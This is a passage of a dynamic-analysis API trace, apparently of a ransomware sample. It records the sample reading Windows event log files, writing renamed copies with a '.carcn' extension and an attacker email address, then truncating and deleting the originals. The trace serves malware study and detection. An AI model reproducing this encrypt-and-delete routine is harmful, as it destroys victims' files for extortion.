(lpString1=".doc", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".docx") returned 5 [0180.962] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.962] lstrlenW (lpString=".pdf") returned 4 [0180.962] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".xls") returned 4 [0180.962] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".xlsx") returned 5 [0180.962] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.962] lstrlenW (lpString=".ppt") returned 4 [0180.962] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.962] lstrlenW (lpString=".zip") returned 4 [0180.962] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".rar") returned 4 [0180.962] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".bz2") returned 4 [0180.962] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.962] lstrlenW (lpString=".7z") returned 3 [0180.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString=".dbf") returned 4 [0180.963] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString=".1cd") returned 4 [0180.963] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString=".jpg") returned 4 [0180.963] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString=".doc") returned 4 [0180.963] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".docx") returned 5 [0180.963] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.963] lstrlenW (lpString=".pdf") returned 4 [0180.963] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".xls") returned 4 [0180.963] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".xlsx") returned 5 [0180.963] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.963] lstrlenW (lpString=".ppt") returned 4 [0180.963] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.963] lstrlenW (lpString=".zip") returned 4 [0180.963] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".rar") returned 4 [0180.963] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".bz2") returned 4 [0180.963] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.963] lstrlenW (lpString=".7z") returned 3 [0180.963] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.963] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.964] lstrlenW (lpString=".dbf") returned 4 [0180.964] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.964] lstrlenW (lpString=".1cd") returned 4 [0180.964] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.964] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 53 [0180.964] lstrlenW (lpString=".jpg") returned 4 [0180.964] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.964] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.964] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39 [0180.964] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.964] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.964] CloseHandle (hObject=0x374) returned 1 [0180.964] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20 [0180.964] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.964] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.964] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.965] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.965] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.965] GetLastError () returned 0x0 [0180.965] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.979] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.980] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.980] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x122, lpOverlapped=0x0) returned 1 [0180.980] SetEndOfFile (hFile=0x370) returned 1 [0180.981] CloseHandle (hObject=0x370) returned 1 [0180.983] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.983] SetEndOfFile (hFile=0x374) returned 1 [0180.984] CloseHandle (hObject=0x374) returned 1 [0180.984] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.984] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1 [0180.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.985] lstrlenW (lpString=".doc") returned 4 [0180.985] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".docx") returned 5 [0180.985] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.985] lstrlenW (lpString=".pdf") returned 4 [0180.985] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".xls") returned 4 [0180.985] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".xlsx") returned 5 [0180.985] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.985] lstrlenW (lpString=".ppt") returned 4 [0180.985] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.985] lstrlenW (lpString=".zip") returned 4 [0180.985] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".rar") returned 4 [0180.985] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".bz2") returned 4 [0180.985] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.985] lstrlenW (lpString=".7z") returned 3 [0180.985] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.985] lstrlenW (lpString=".dbf") returned 4 [0180.985] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".1cd") returned 4 [0180.986] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".jpg") returned 4 [0180.986] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".doc") returned 4 [0180.986] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".docx") returned 5 [0180.986] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.986] lstrlenW (lpString=".pdf") returned 4 [0180.986] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".xls") returned 4 [0180.986] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".xlsx") returned 5 [0180.986] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.986] lstrlenW (lpString=".ppt") returned 4 [0180.986] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".zip") returned 4 [0180.986] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".rar") returned 4 [0180.986] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".bz2") returned 4 [0180.986] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString=".7z") returned 3 [0180.986] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".dbf") returned 4 [0180.986] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.986] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.986] lstrlenW (lpString=".1cd") returned 4 [0180.986] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.987] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47 [0180.987] lstrlenW (lpString=".jpg") returned 4 [0180.987] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.987] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.987] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45 [0180.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.987] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0180.987] CloseHandle (hObject=0x374) returned 1 [0180.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0180.987] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0180.987] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.987] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.988] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.988] GetLastError () returned 0x0 [0180.988] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.418] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.519] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.519] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x12e, lpOverlapped=0x0) returned 1 [0181.520] SetEndOfFile (hFile=0x370) returned 1 [0181.520] CloseHandle (hObject=0x370) returned 1 [0181.521] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.521] SetEndOfFile (hFile=0x374) returned 1 [0181.522] CloseHandle (hObject=0x374) returned 1 [0181.523] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.523] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0181.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.523] lstrlenW (lpString=".doc") returned 4 [0181.523] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.523] lstrlenW (lpString=".docx") returned 5 [0181.523] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.523] lstrlenW (lpString=".pdf") returned 4 [0181.523] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.523] lstrlenW (lpString=".xls") returned 4 [0181.523] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.523] lstrlenW (lpString=".xlsx") returned 5 [0181.523] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.523] lstrlenW (lpString=".ppt") returned 4 [0181.523] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.523] lstrlenW (lpString=".zip") returned 4 [0181.523] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.523] lstrlenW (lpString=".rar") returned 4 [0181.524] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".bz2") returned 4 [0181.524] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".7z") returned 3 [0181.524] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString=".dbf") returned 4 [0181.524] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString=".1cd") returned 4 [0181.524] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString=".jpg") returned 4 [0181.524] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString=".doc") returned 4 [0181.524] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".docx") returned 5 [0181.524] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.524] lstrlenW (lpString=".pdf") returned 4 [0181.524] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".xls") returned 4 [0181.524] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".xlsx") returned 5 [0181.524] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.524] lstrlenW (lpString=".ppt") returned 4 [0181.524] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.524] lstrlenW (lpString=".zip") returned 4 [0181.524] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".rar") returned 4 [0181.524] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.524] lstrlenW (lpString=".bz2") returned 4 [0181.525] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.525] lstrlenW (lpString=".7z") returned 3 [0181.525] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.525] lstrlenW (lpString=".dbf") returned 4 [0181.525] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.525] lstrlenW (lpString=".1cd") returned 4 [0181.525] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53 [0181.525] lstrlenW (lpString=".jpg") returned 4 [0181.525] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.525] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.525] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0181.525] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.526] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1 [0181.526] CloseHandle (hObject=0x374) returned 1 [0181.526] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0181.526] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0181.526] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.526] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0181.526] GetLastError () returned 0x0 [0181.526] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.622] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.623] ReadFile (in: hFile=0x374, lpBuffer=0x3ce9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.623] WriteFile (in: hFile=0x370, lpBuffer=0x3ce9020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce9020*, lpNumberOfBytesWritten=0x312fc94*=0x126, lpOverlapped=0x0) returned 1 [0181.623] SetEndOfFile (hFile=0x370) returned 1 [0181.623] CloseHandle (hObject=0x370) returned 1 [0181.625] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.625] SetEndOfFile (hFile=0x374) returned 1 [0181.626] CloseHandle (hObject=0x374) returned 1 [0181.626] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.626] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0181.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.630] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.630] lstrlenW (lpString=".doc") returned 4 [0181.630] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.630] lstrlenW (lpString=".docx") returned 5 [0181.630] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.630] lstrlenW (lpString=".pdf") returned 4 [0181.631] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".xls") returned 4 [0181.631] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".xlsx") returned 5 [0181.631] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.631] lstrlenW (lpString=".ppt") returned 4 [0181.631] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString=".zip") returned 4 [0181.631] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".rar") returned 4 [0181.631] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".bz2") returned 4 [0181.631] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".7z") returned 3 [0181.631] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString=".dbf") returned 4 [0181.631] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString=".1cd") returned 4 [0181.631] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString=".jpg") returned 4 [0181.631] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0181.631] lstrlenW (lpString=".doc") returned 4 [0181.631] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.631] lstrlenW (lpString=".docx") returned 5 [0181.631] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.631] lstrlenW (lpString=".pdf") returned 4 